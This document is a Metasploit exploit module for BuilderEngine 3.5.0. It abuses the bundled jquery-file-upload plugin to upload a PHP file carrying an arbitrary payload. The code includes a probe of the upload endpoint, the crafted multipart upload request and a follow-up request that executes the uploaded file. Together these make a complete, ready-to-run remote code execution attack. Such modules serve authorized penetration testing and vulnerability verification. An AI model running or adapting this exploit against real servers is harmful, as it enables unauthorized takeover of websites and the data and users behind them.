BuilderEngine 3.5.0 - Arbitrary File Upload and Execution (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
      'Description'    => %q{
        This module exploits a vulnerability found in BuilderEngine 3.5.0
        via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
        file, which would result in arbitrary remote code execution under the context of
        the web server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'metanubix',   # PoC
          'Marco Rivoli' # Metasploit
        ],
      'References'     =>
        [
          ['EDB', '40390']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['BuilderEngine 3.5.0', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 18 2016",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
        ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
    })

    if res && res.code == 200 && !res.body.blank?
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path

    peer = "#{rhost}:#{rport}"
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
    data = Rex::MIME::Message.new
    payload_encoded = Rex::Text.rand_text_alpha(1)
    payload_encoded << "<?php "
    payload_encoded << payload.encoded
    payload_encoded << " ?>\r\n"
    data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri'    => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
      'method' => 'POST',
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data
    })

    if res
      if res.code == 200 && res.body =~ /files|#{php_pagename}/
        print_good("Our payload is at: #{php_pagename}. Calling payload...")
        register_file_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("Calling payload...")
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(uri,'files/', php_pagename)
    )
  end
end